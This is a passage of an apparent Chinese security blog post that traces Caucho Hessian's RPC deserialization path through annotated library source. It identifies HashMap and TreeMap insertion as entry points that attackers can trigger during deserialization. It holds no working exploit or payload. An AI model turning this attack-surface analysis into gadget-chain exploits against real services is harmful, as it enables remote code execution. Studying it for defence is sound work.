接着从输入流反序列化参数,传入的是参数类型(HessianInput#readObject(Class<?> cl));

最后调用方法,并写到输出流中进行序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
/**
* 调用入口:基于 Hessian 输入流解析调用信息,反射调用 service 并将结果写回。
*
* 兼容性说明:
* 1) 某些旧框架在读取前不会先发送 call type,这里通过 skipOptionalCall() 兼容;
* 2) 支持 Hessian 1.0 的头部(header)读取并保存到 ServiceContext;
* 3) 方法解析同时支持 “方法名__参数个数” 的重载选择策略。
*
* @param service 业务实现对象(Skeleton 在外层已确保其与 API 类型匹配)
* @param in Hessian 输入(请求反序列化)
* @param out Hessian 输出(响应序列化)
* @throws Exception 任意编解码或反射调用中出现的异常
*/
public void invoke(Object service,
AbstractHessianInput in,
AbstractHessianOutput out)
throws Exception {
// 线程上下文:可用于在业务实现中获取请求级别的 header/属性等
ServiceContext context = ServiceContext.getContext();

// 兼容旧客户端:部分实现不会先发送 call type,这里尝试跳过可选的 call 标记
in.skipOptionalCall();

// Hessian 1.0 兼容:读取并保存请求头信息(可能包含自定义的元数据)
String header;
while ((header = in.readHeader()) != null) {
Object value = in.readObject();
context.addHeader(header, value);
}

// 读取方法名与参数个数(-1 表示客户端未显式传递参数长度)
String methodName = in.readMethod();
int argLength = in.readMethodArgLength();

Method method;

// 优先尝试“方法名__参数个数”的形式,便于区分重载
method = getMethod(methodName + "__" + argLength);

// 回退:仅按方法名匹配(当客户端未提供参数个数或未启用重载区分)
if (method == null) {
method = getMethod(methodName);
}

// 特殊内省方法:_hessian_getAttribute,用于向客户端暴露类名等元信息
if (method == null) {
if ("_hessian_getAttribute".equals(methodName)) {
String attrName = in.readString();
in.completeCall();

String value = null;
if ("java.api.class".equals(attrName)) {
value = getAPIClassName();
} else if ("java.home.class".equals(attrName)) {
value = getHomeClassName();
} else if ("java.object.class".equals(attrName)) {
value = getObjectClassName();
}

out.writeReply(value);
out.close();
return;
} else {
// 方法不存在:以 Hessian fault 的形式返回
out.writeFault(
"NoSuchMethodException",
escapeMessage("The service has no method named: " + in.getMethod()),
null
);
out.close();
return;
}
}

// 形参类型与长度校验
Class<?>[] args = method.getParameterTypes();
if (argLength != args.length && argLength >= 0) {
out.writeFault(
"NoSuchMethod",
escapeMessage("method " + method + " argument length mismatch, received length=" + argLength),
null
);
out.close();
return;
}

// 反序列化参数(按声明类型逐个读取)
Object[] values = new Object[args.length];
for (int i = 0; i < args.length; i++) {
// TODO: 更细粒度的编组/校验可在此处扩展(例如枚举/集合的安全校验)
values[i] = in.readObject(args[i]);
}

Object result = null;

try {
// 通过反射调用实际的业务方法
result = method.invoke(service, values);
} catch (Exception e) {
// 解包 InvocationTargetException,获取真实业务异常
Throwable e1 = e;
if (e1 instanceof InvocationTargetException) {
e1 = ((InvocationTargetException) e).getTargetException();
}

// 记录细粒度日志(通常为 FINE 级别,避免污染生产日志)
log.log(Level.FINE, this + " " + e1.toString(), e1);

// 以 Hessian fault 返回("ServiceException"),并携带服务端异常信息
out.writeFault(
"ServiceException",
escapeMessage(e1.getMessage()),
e1
);
out.close();
return;
}

// 注意:completeCall 需要放在 invoke 之后,以便处理尾随的 InputStream 等数据
in.completeCall();

// 正常返回结果
out.writeReply(result);

// 关闭输出(flush + 结束响应)
out.close();
}

反序列化过程

SerializerFactory 初始化

首先我们需要先关注 com.caucho.hessian.server.HessianServlet#service 过程对 SerializerFactory 对象的初始化:

1
2
3
4
5
// 序列化工厂(包含白/黑名单、集合类型发送开关等序列化策略)
SerializerFactory serializerFactory = getSerializerFactory();

// 根据 objectId 是否存在选择 home 或 object 的 Skeleton,并完成方法分发
invoke(is, os, objectId, serializerFactory);

其中 getSerializerFactory 会返回近似单例模式的 SerializerFactory 对象。

1
2
3
4
5
6
public SerializerFactory getSerializerFactory() {
if (_serializerFactory == null)
_serializerFactory = new SerializerFactory();

return _serializerFactory;
}

com.caucho.hessian.io.SerializerFactory 的构造函数会根据 _isEnableUnsafeSerializer 是否设置决定是否使用 FieldDeserializer2FactoryUnsafe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* 无参构造:使用当前线程的上下文类加载器(TCCL)作为默认的类加载器。
* 说明:
* - 在容器(Tomcat/Jetty)中,TCCL 通常指向 WebApp 的 ClassLoader,
* 能确保业务类/自定义序列化器的可见性。
*/
public SerializerFactory() {
this(Thread.currentThread().getContextClassLoader());
}

/**
* 指定类加载器的构造方法。
* @param loader 用于加载需要序列化/反序列化的业务类、序列化器等
*/
public SerializerFactory(ClassLoader loader) {
// 使用 WeakReference 持有 ClassLoader:
// 避免长生命周期的 SerializerFactory 强引用导致 WebApp ClassLoader 无法被 GC,
// 进而引发热部署后的内存泄漏。
_loaderRef = new WeakReference<ClassLoader>(loader);

// 基于给定的类加载器构建“上下文序列化工厂”,
// 用于注册/查找具体类型的(反)序列化器,实现按 ClassLoader 隔离。
_contextFactory = ContextSerializerFactory.create(loader);

// 是否启用“Unsafe”版本的字段反序列化工厂:
// - Unsafe 版本通常通过 sun.misc.Unsafe(或 VarHandle 等)绕过构造器直接分配对象,
// 在某些场景下更高效,但对 JDK 版本/模块访问有要求。
// - 非 Unsafe 版本走常规反射路径,兼容性更好、风险更低。
if (_isEnableUnsafeSerializer) {
_fieldDeserializerFactory = new FieldDeserializer2FactoryUnsafe();
} else {
_fieldDeserializerFactory = new FieldDeserializer2Factory();
}
}

com.caucho.hessian.server.HessianSkeleton#invoke 函数会构造 HessianInput/HessianOutput 并将前面创建的 serializerFactory 设置进去。

1
2
3
4
5
6
7
8
AbstractHessianInput in;
AbstractHessianOutput out;
// [...]
in = _hessianFactory.createHessianInput(is);
out = _hessianFactory.createHessian2Output(os);
// [...]
in.setSerializerFactory(serializerFactory);
out.setSerializerFactory(serializerFactory);

两个类的 setSerializerFactory 实现是一样的,都是将 SerializerFactory 对象设置到 _serializerFactory 属性上。

1
2
3
public void setSerializerFactory(SerializerFactory factory) {
_serializerFactory = factory;
}

反序列化派发

之后反序列化参数时调用了 HessianInput#readObject 方法。

1
2
3
4
5
6
// 反序列化参数(按声明类型逐个读取)
Object[] values = new Object[args.length];
for (int i = 0; i < args.length; i++) {
// TODO: 更细粒度的编组/校验可在此处扩展(例如枚举/集合的安全校验)
values[i] = in.readObject(args[i]);
}

readObject 函数完全由 Hessian 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
/**
* 按“期望类型”从输入流读取一个对象。
*
* 读取流程说明:
* 1) 若未指定类型或期望类型为 Object,则走无类型读取(readObject()),完全由数据自描述决定;
* 2) 否则先读一个字节的“标签(tag)”,根据标签分支处理(空、Map、List、引用、远程引用等);
* 3) 若未命中已知标签,回退到使用期望类型对应的 Deserializer 做通用读取。
*
* @param cl 期望的目标类型(可能为 null 或 Object.class)
* @return 反序列化得到的对象实例
* @throws IOException 读取或反序列化失败
*/
public Object readObject(Class cl) throws IOException {
// 未限定具体类型时,使用“无类型读取”路径(由数据自带的类型信息决定反序列化)
if (cl == null || cl == Object.class) {
return readObject();
}

// 读取一个 Hessian 标签字节,用于判定后续的读取分支
int tag = read();

switch (tag) {
case 'N': {
// 'N' → Null/null
return null;
}

case 'M': {
// 'M' → Map(键值对)
String type = readType(); // 可能为 ""(无显式类型)
// hessian/3386 兼容:当 type 为空字符串时,按期望类型的反序列化器读取
if ("".equals(type)) {
Deserializer reader = _serializerFactory.getDeserializer(cl);
return reader.readMap(this);
} else {
// 有显式类型时,优先用“对象类型”的反序列化器(可映射到具体 Java 类型)
Deserializer reader = _serializerFactory.getObjectDeserializer(type);
return reader.readMap(this);
}
}

case 'V': {
// 'V' → List/Collection(带可选的类型与长度)
String type = readType(); // 例如集合的“声明类型”标记
int length = readLength(); // 可能为 -1(长度未知,直到 'Z' 结束)

// 先根据显式类型拿到对象反序列化器
Deserializer reader = _serializerFactory.getObjectDeserializer(type);

// 如果显式类型(reader.getType())是期望类型(cl)的子类/实现类,则按“显式类型”读取
if (cl != reader.getType() && cl.isAssignableFrom(reader.getType())) {
return reader.readList(this, length);
}

// 否则改用期望类型对应的反序列化器(更严格的目标类型约束)
reader = _serializerFactory.getDeserializer(cl);
Object v = reader.readList(this, length);
return v;
}

case 'R': {
// 'R' → 引用(reference),读取整型下标,从引用表中取回已反序列化过的对象
int ref = parseInt();
return _refs.get(ref);
}

case 'r': {
// 'r' → 远程引用(remote),读取远程类型与 URL,通常解析为远程代理/桩
String type = readType();
String url = readString();
return resolveRemote(type, url);
}

default:
// 未知或不在上述分支的标签:回退处理
_peek = tag; // 回退一个字节(等同“把它放回去”供后续读取使用)
// hessian/332i vs hessian/3406:历史实现差异
// 旧逻辑是直接 return readObject(); 但这里选择按“期望类型”的反序列化器处理
Object value = _serializerFactory.getDeserializer(cl).readObject(this);
return value;
}
}


/**
* 从输入流读取“未知类型”的任意对象。
*
* 读取规则(基于首字节 tag):
* 'N' → null
* 'T' → true
* 'F' → false
* 'I' → 32 位整数(parseInt)
* 'L' → 64 位整数(parseLong)
* 'D' → 双精度浮点(parseDouble)
* 'd' → 日期(long 毫秒值 → new Date)
* 'x'/'X' → XML(分块,X 表示最后一块)
* 's'/'S' → 字符串(分块,S 表示最后一块)
* 'b'/'B' → 二进制(分块,B 表示最后一块)
* 'V' → 列表/集合(可带类型与长度,由 SerializerFactory 处理)
* 'M' → Map/对象(可带类型,由 SerializerFactory 处理)
* 'R' → 引用(按引用表索引返回先前已反序列化的对象)
* 'r' → 远程引用(type + url,解析为远程对象/代理)
* 其它 → 抛出“未知代码”异常
*
* 说明:
* - 分块(chunk)格式:读取两字节长度,配合 _isLastChunk 标识判断是否还有后续分块。
* - 字符串/二进制的具体读取由 parseChar()/parseByte() 逐个消费分块内容。
* - 对于带“类型字符串”的结构,交给 SerializerFactory 决定具体的反序列化器。
*
* @return 反序列化得到的对象
* @throws IOException 读取或解析异常
*/
public Object readObject() throws IOException {
int tag = read();

switch (tag) {
case 'N':
// Null
return null;

case 'T':
// Boolean true
return Boolean.valueOf(true);

case 'F':
// Boolean false
return Boolean.valueOf(false);

case 'I':
// 32 位整型
return Integer.valueOf(parseInt());

case 'L':
// 64 位整型
return Long.valueOf(parseLong());

case 'D':
// 双精度浮点
return Double.valueOf(parseDouble());

case 'd':
// 日期(以 long 毫秒值表示)
return new Date(parseLong());

case 'x':
case 'X': {
// XML 分块:X 表示最后一块
_isLastChunk = tag == 'X';
_chunkLength = (read() << 8) + read();

return parseXML();
}

case 's':
case 'S': {
// 字符串分块:S 表示最后一块
_isLastChunk = tag == 'S';
_chunkLength = (read() << 8) + read();

int data;
_sbuf.setLength(0);

// 逐字符读取当前分块,parseChar() 返回 <0 表示本分块结束
while ((data = parseChar()) >= 0) {
_sbuf.append((char) data);
}

return _sbuf.toString();
}

case 'b':
case 'B': {
// 二进制分块:B 表示最后一块
_isLastChunk = tag == 'B';
_chunkLength = (read() << 8) + read();

int data;
ByteArrayOutputStream bos = new ByteArrayOutputStream();

// 逐字节读取当前分块,parseByte() 返回 <0 表示本分块结束
while ((data = parseByte()) >= 0) {
bos.write(data);
}

return bos.toByteArray();
}

case 'V': {
// 列表/集合:可带“声明类型”和“长度”
String type = readType();
int length = readLength();

// 交由序列化工厂根据声明类型反序列化为合适的集合实现
return _serializerFactory.readList(this, length, type);
}

case 'M': {
// Map/对象:可带“声明类型”
String type = readType();

// 交由序列化工厂根据类型反序列化(可能映射为 Java Bean/Map 等)
return _serializerFactory.readMap(this, type);
}

case 'R': {
// 引用:按索引从引用表取回先前解析过的对象(用于图结构/重复对象)
int ref = parseInt();
return _refs.get(ref);
}

case 'r': {
// 远程引用:类型 + URL,解析为远程对象/代理
String type = readType();
String url = readString();

return resolveRemote(type, url);
}

default:
// 未知标签:抛出异常
throw error("unknown code for readObject at " + codeName(tag));
}
}

反序列化器获取

上述反序列化过程中,针对某些类型会调用 com.caucho.hessian.io.SerializerFactory#getDeserializer 来获取反序列化器进行反序列化。

  • 对于有 Class cl 指定期望类型的情况,会直接根据 cl 调用 getDeserializer 获取对应的反序列化器。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    case 'M': {
    // 'M' → Map(键值对)
    String type = readType(); // 可能为 ""(无显式类型)
    // hessian/3386 兼容:当 type 为空字符串时,按期望类型的反序列化器读取
    if ("".equals(type)) {
    Deserializer reader = _serializerFactory.getDeserializer(cl);
    return reader.readMap(this);
    } else {
    // 有显式类型时,优先用“对象类型”的反序列化器(可映射到具体 Java 类型)
    Deserializer reader = _serializerFactory.getObjectDeserializer(type);
    return reader.readMap(this);
    }
    }
  • 对于没有指定期望类型的情况,则交由序列化工厂根据类型反序列化。

    1
    2
    3
    4
    5
    6
    7
    case 'M': {
    // Map/对象:可带“声明类型”
    String type = readType();

    // 交由序列化工厂根据类型反序列化(可能映射为 Java Bean/Map 等)
    return _serializerFactory.readMap(this, type);
    }

    _serializerFactory#readMap 会先 getDeserializer 获取反序列化器,然后再利用获取的反序列化器进行反序列化。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    /**
    * 以 Map 的形式从 Hessian 输入流读取对象。
    *
    * 选择反序列化器的顺序:
    * 1) 优先根据传入的类型标识 {@code type} 获取专用的 Deserializer;
    * 2) 若没有,回退到已缓存的基于 HashMap 的通用反序列化器;
    * 3) 若仍没有,则懒加载创建一个 MapDeserializer 并缓存,然后使用它读取。
    *
    * @param in Hessian 输入流
    * @param type 目标类型名称(可能为 null 或未知)
    * @return 反序列化得到的对象(通常为 Map)
    * @throws HessianProtocolException 协议解析错误时抛出
    * @throws IOException IO 读写错误时抛出
    */
    public Object readMap(AbstractHessianInput in, String type)
    throws HessianProtocolException, IOException {
    // 尝试根据类型获取专用反序列化器(若 type 匹配,通常能得到更准确的类型信息)
    Deserializer deserializer = getDeserializer(type);

    // 情况 1:找到专用反序列化器,直接使用它读取 Map
    if (deserializer != null) {
    return deserializer.readMap(in);
    }
    // 情况 2:没有专用反序列化器,但已存在通用的 HashMap 反序列化器,直接复用
    else if (_hashMapDeserializer != null) {
    return _hashMapDeserializer.readMap(in);
    }
    // 情况 3:两者都没有时,懒加载并缓存一个基于 HashMap 的反序列化器后再读取
    else {
    _hashMapDeserializer = new MapDeserializer(HashMap.class);
    return _hashMapDeserializer.readMap(in);
    }
    }

    getDeserializer 会根据字符串类型的 type 尝试反射加载类,然后再根据 Class 获取对应的反序列化器。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    /**
    * 根据字符串类型名返回对应的反序列化器(Deserializer)。
    *
    * 选择流程:
    * 1) 空类型名直接返回 null;
    * 2) 尝试从一级缓存 _cachedTypeDeserializerMap 获取(线程安全地读取);
    * 3) 未命中则查静态映射 _staticTypeMap(预置类型映射);
    * 4) 若类型以 "[" 开头,按“数组类型”处理:递归解析元素类型并构造 ArrayDeserializer;
    * 5) 否则尝试通过类加载器加载该类型并基于 Class 获取对应的 Deserializer;
    * 6) 若最终得到 Deserializer,则写回一级缓存以便后续复用。
    *
    * @param type 字符串形式的类型名(可能为 null 或空串)
    * @return 对应类型的 Deserializer,若无法识别则为 null
    * @throws HessianProtocolException 协议相关异常
    */
    public Deserializer getDeserializer(String type)
    throws HessianProtocolException {
    // 1) 无效类型名直接返回 null
    if (type == null || type.equals("")) {
    return null;
    }

    Deserializer deserializer;

    // 2) 优先从缓存中查找(多线程环境下同步读取)
    if (_cachedTypeDeserializerMap != null) {
    synchronized (_cachedTypeDeserializerMap) {
    deserializer = (Deserializer) _cachedTypeDeserializerMap.get(type);
    }
    if (deserializer != null) {
    return deserializer;
    }
    }

    // 3) 查静态类型映射(通常为内建/常见类型)
    deserializer = (Deserializer) _staticTypeMap.get(type);
    if (deserializer != null) {
    return deserializer;
    }

    // 4) 处理数组类型。Hessian 中以 "[" 开头表示数组(类似 JVM 描述符)
    if (type.startsWith("[")) {
    // 递归获取元素类型的反序列化器
    Deserializer subDeserializer = getDeserializer(type.substring(1));

    if (subDeserializer != null) {
    // 使用已解析出的元素类型来创建数组反序列化器
    deserializer = new ArrayDeserializer(subDeserializer.getType());
    } else {
    // 元素类型未知时退化为 Object 数组
    deserializer = new ArrayDeserializer(Object.class);
    }
    } else {
    // 5) 非数组:尝试按类名加载并获取其 Deserializer
    try {
    // 避免立即初始化类:等价于 Class.forName(type, false, getClassLoader())
    Class cl = loadSerializedClass(type);
    deserializer = getDeserializer(cl);
    } catch (Exception e) {
    // 未知类型或加载失败:记录警告并继续(返回 null)
    log.warning("Hessian/Burlap: '" + type + "' is an unknown class in "
    + getClassLoader() + ":\n" + e);
    log.log(Level.FINER, e.toString(), e);
    }
    }

    // 6) 若已获取到反序列化器,则写回缓存(懒创建 + 同步写)
    if (deserializer != null) {
    if (_cachedTypeDeserializerMap == null) {
    _cachedTypeDeserializerMap = new HashMap(8);
    }
    synchronized (_cachedTypeDeserializerMap) {
    _cachedTypeDeserializerMap.put(type, deserializer);
    }
    }

    return deserializer;
    }

getDeserializer 内部有个 switch 分支,对应不同的类会返回对应的反序列化器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
/**
* 返回指定类的反序列化器(带本地缓存)。
*
* 查找流程:
* 1) 先从本地缓存 _cachedDeserializerMap 命中;
* 2) 未命中则调用 loadDeserializer(cl) 加载;
* 3) 将结果写回缓存并返回。
*
* 线程安全:
* - 缓存容器使用 ConcurrentHashMap,支持并发访问;
* - _cachedDeserializerMap 懒初始化(第一次使用时创建)。
*
* @param cl 需要反序列化成的目标类型
* @return 该类型对应的 Deserializer 实例
* @throws HessianProtocolException 协议/解析相关异常
*/
public Deserializer getDeserializer(Class cl) throws HessianProtocolException {
Deserializer deserializer;

// 1) 先查本地缓存(可能尚未初始化)
if (_cachedDeserializerMap != null) {
deserializer = (Deserializer) _cachedDeserializerMap.get(cl);
if (deserializer != null) {
return deserializer;
}
}

// 2) 未命中则加载
deserializer = loadDeserializer(cl);

// 3) 懒初始化缓存并写入
if (_cachedDeserializerMap == null) {
_cachedDeserializerMap = new ConcurrentHashMap(8); // 初始容量 8
}
_cachedDeserializerMap.put(cl, deserializer);

return deserializer;
}

/**
* 实际加载指定类的反序列化器。
*
* 查找顺序(从高到低优先级):
* 1) 外挂工厂链 _factories(自定义工厂,按添加顺序查询);
* 2) 当前上下文工厂 _contextFactory(基于当前 ContextClassLoader);
* 3) 基于目标类 cl 的 ClassLoader 创建的 ContextSerializerFactory(或系统类加载器):
* 3.1) factory.getDeserializer(cl.getName())
* 3.2) factory.getCustomDeserializer(cl)
* 4) 标准类型分支(无需外部注册):
* - Collection → CollectionDeserializer
* - Map → MapDeserializer
* - Iterator → IteratorDeserializer
* - Annotation → AnnotationDeserializer
* - Interface → ObjectDeserializer(基于接口生成动态代理/占位)
* - Array → ArrayDeserializer(componentType)
* - Enumeration → EnumerationDeserializer
* - Enum → EnumDeserializer
* - Class → ClassDeserializer(用于反序列化 Class<?>)
* 5) 兜底策略:getDefaultDeserializer(cl)
*
* @param cl 目标类型
* @return 反序列化器
* @throws HessianProtocolException 协议/解析相关异常
*/
protected Deserializer loadDeserializer(Class cl) throws HessianProtocolException {
Deserializer deserializer = null;

// 1) 遍历外挂工厂链(用户自定义的 AbstractSerializerFactory)
for (int i = 0;
deserializer == null && _factories != null && i < _factories.size();
i++) {
AbstractSerializerFactory factory = (AbstractSerializerFactory) _factories.get(i);
deserializer = factory.getDeserializer(cl);
}

if (deserializer != null) {
return deserializer;
}

// 2) 使用“当前上下文”工厂(与 _contextFactory 绑定的 ClassLoader)
// XXX: need test(原注释保留)
deserializer = _contextFactory.getDeserializer(cl.getName());
if (deserializer != null) {
return deserializer;
}

// 3) 针对目标类的 ClassLoader 再创建一个 ContextSerializerFactory(或退回系统 CL)
ContextSerializerFactory factory = null;
if (cl.getClassLoader() != null) {
factory = ContextSerializerFactory.create(cl.getClassLoader());
} else {
factory = ContextSerializerFactory.create(_systemClassLoader);
}

// 3.1) 先按类名获取
deserializer = factory.getDeserializer(cl.getName());
if (deserializer != null) {
return deserializer;
}

// 3.2) 再尝试“自定义”反序列化器(可能基于注解/代码生成等)
deserializer = factory.getCustomDeserializer(cl);
if (deserializer != null) {
return deserializer;
}

// 4) 标准类型分支(无需注册的内建处理)
if (Collection.class.isAssignableFrom(cl)) {
deserializer = new CollectionDeserializer(cl);

} else if (Map.class.isAssignableFrom(cl)) {
deserializer = new MapDeserializer(cl);

} else if (Iterator.class.isAssignableFrom(cl)) {
deserializer = IteratorDeserializer.create();

} else if (Annotation.class.isAssignableFrom(cl)) {
deserializer = new AnnotationDeserializer(cl);

} else if (cl.isInterface()) {
// 接口类型:使用 ObjectDeserializer(常用于将 Map→Bean 或生成代理)
deserializer = new ObjectDeserializer(cl);

} else if (cl.isArray()) {
deserializer = new ArrayDeserializer(cl.getComponentType());

} else if (Enumeration.class.isAssignableFrom(cl)) {
deserializer = EnumerationDeserializer.create();

} else if (Enum.class.isAssignableFrom(cl)) {
deserializer = new EnumDeserializer(cl);

} else if (Class.class.equals(cl)) {
// 反序列化为 Class<?>,需要可用的 ClassLoader
deserializer = new ClassDeserializer(getClassLoader());

} else {
// 5) 兜底:默认反序列化器(通常是基于反射的 Bean 反序列化)
deserializer = getDefaultDeserializer(cl);
}

return deserializer;
}

Map 类型反序列化

对于 Map 类型获取到的是 com.caucho.hessian.io.MapDeserializer,该反序列化器的 readMap 方法会创建一个 Map 实例,然后将序列化数据中解析出的键值对存放到这个 Map 实例中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 从 Hessian 输入流读取一个 Map(键值对)并返回对应的 Java Map 实例。
*
* 处理策略:
* 1) 根据声明的目标类型 _type 选择具体实现:
* - _type == null → 使用 HashMap
* - _type 等于 Map.class → 使用 HashMap
* - _type 等于 SortedMap.class → 使用 TreeMap
* - 其他情况 → 通过 _ctor 反射无参构造指定的 Map 实现
* 2) 将新建的 map 调用 in.addRef(map) 加入引用表,支持后续的引用解析(循环/共享对象场景)。
* 3) 持续读取 key/value 对(in.readObject()),直到遇到结束标记(in.isEnd() 为 true)。
* 4) 调用 in.readEnd() 消费结束标记并完成该段结构的读取。
*
* @param in Hessian 输入
* @return 反序列化得到的 Map 实例(作为 Object 返回)
* @throws IOException 读取或反射失败时抛出(反射异常被包装为 IOExceptionWrapper)
*/
public Object readMap(AbstractHessianInput in) throws IOException {
Map map;

// 1) 选择具体的 Map 实现类型
if (_type == null) {
map = new HashMap();
} else if (_type.equals(Map.class)) {
map = new HashMap();
} else if (_type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
// 通过预先解析好的无参构造器 _ctor 创建目标类型实例
map = (Map) _ctor.newInstance();
} catch (Exception e) {
// 将反射失败包装为 IO 异常抛出
throw new IOExceptionWrapper(e);
}
}

// 2) 将该 Map 放入引用表,便于后续 'R'(reference)标签的反向引用解析
in.addRef(map);

// 3) 读取键值对直到遇到结束标记
while (!in.isEnd()) {
Object key = in.readObject(); // 读取 key(动态类型)
Object value = in.readObject(); // 读取 value(动态类型)
map.put(key, value);
}

// 4) 消费结束标记,完成该 Map 结构的读取
in.readEnd();

return map;
}

其中 map.put 会触发如下操作,可作为反序列化的 Source 点。

  • 对于 HashMap 会触发 key.hashCode()key.equals(k)
  • 对于 TreeMap 会触发 key.compareTo()

普通类反序列化

对于自定义类型,在 readObject 方法中会走 M 分支,也就是说 Hessian 把普通类对象当成 Map 来处理了。

1
2
3
4
5
6
7
case 'M': {
// Map/对象:可带“声明类型”
String type = readType();

// 交由序列化工厂根据类型反序列化(可能映射为 Java Bean/Map 等)
return _serializerFactory.readMap(this, type);
}

这里 readType 得到的 type 是类的完整名称,因此 MapDeserializer#readMap 函数会调用到 getDefaultDeserializer 获取默认的反序列化器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* 返回未被直接匹配到的类的“默认反序列化器”(Deserializer)。
*
* 选择流程:
* 1) 若类型是 InputStream,则使用基于流的反序列化器;
* 2) 若开启了“不安全”反序列化选项(可能跳过部分构造与检查),则使用 UnsafeDeserializer;
* 3) 否则回退到常规的 JavaDeserializer。
*
* 应用可重写本方法,以便将默认策略切换为 Bean 风格而非字段反序列化等自定义行为。
*
* @param cl 需要反序列化的目标类型
* @return 对应的 Deserializer 实例
*/
protected Deserializer getDefaultDeserializer(Class cl) {
// 特例:输入流类型,直接使用流反序列化器
if (InputStream.class.equals(cl)) {
return InputStreamDeserializer.DESER;
}

// 根据配置选择 Unsafe 版本或常规 Java 版本的反序列化器
if (_isEnableUnsafeSerializer) {
return new UnsafeDeserializer(cl, _fieldDeserializerFactory);
} else {
return new JavaDeserializer(cl, _fieldDeserializerFactory);
}
}

默认反序列化器为 UnsafeDeserializer,在其构造函数里,会对类成员分配成员的反序列化器,并放入 HashMap<String,FieldDeserializer2> _fieldMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* 构造函数:基于给定类型与字段反序列化工厂,创建“不安全”反序列化器。
*
* @param cl 目标类型
* @param fieldFactory 字段反序列化器工厂
*/
public UnsafeDeserializer(Class<?> cl, FieldDeserializer2Factory fieldFactory) {
// 保存目标类型
_type = cl;
// 构建字段名 -> 字段反序列化器 的映射(包含父类层次)
_fieldMap = getFieldMap(cl, fieldFactory);

// 反射查找 readResolve 方法(若存在,用于反序列化后对象替换)
_readResolve = getReadResolve(cl);

if (_readResolve != null) {
// 关闭访问检查(在 JDK 9+ 下可能需要模块开放)
_readResolve.setAccessible(true);
}
}

和原生反序列化一样,会跳过 statictransient 修饰的字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* 为类(及其父类)创建字段反序列化映射。
*
* 遍历类层级,从当前类一直到 Object:
* - 跳过 transient / static 字段;
* - 若子类已放入同名字段条目,则不覆盖;
* - 其余字段交由工厂创建 FieldDeserializer2 后放入映射。
*
* @param cl 起始类
* @param fieldFactory 字段反序列化器工厂
* @return 字段名到字段反序列化器的映射
*/
protected HashMap<String, FieldDeserializer2> getFieldMap(Class<?> cl, FieldDeserializer2Factory fieldFactory) {
HashMap<String, FieldDeserializer2> fieldMap = new HashMap<String, FieldDeserializer2>();

for (; cl != null; cl = cl.getSuperclass()) {
Field[] fields = cl.getDeclaredFields();
for (int i = 0; i < fields.length; i++) {
Field field = fields[i];

// 跳过 transient 或 static 字段
if (Modifier.isTransient(field.getModifiers()) || Modifier.isStatic(field.getModifiers())) {
continue;
}
// 若已存在同名字段(优先保留子类声明)
else if (fieldMap.get(field.getName()) != null) {
continue;
}

/*
* 如需仅处理 public 字段,可在此决定是否开启可访问性:
* try {
* field.setAccessible(true);
* } catch (Throwable e) {
* e.printStackTrace();
* }
*/

// 通过工厂为该字段创建反序列化器并加入映射
FieldDeserializer2 deser = fieldFactory.create(field);
fieldMap.put(field.getName(), deser);
}
}

return fieldMap;
}

UnsafeDeserializer#readMap 先创建了一个实例对象,再对这个实例对象进行操作。这里的 instantiate 就是利用 Unsafe 在内存层面直接开辟出一个对象的空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
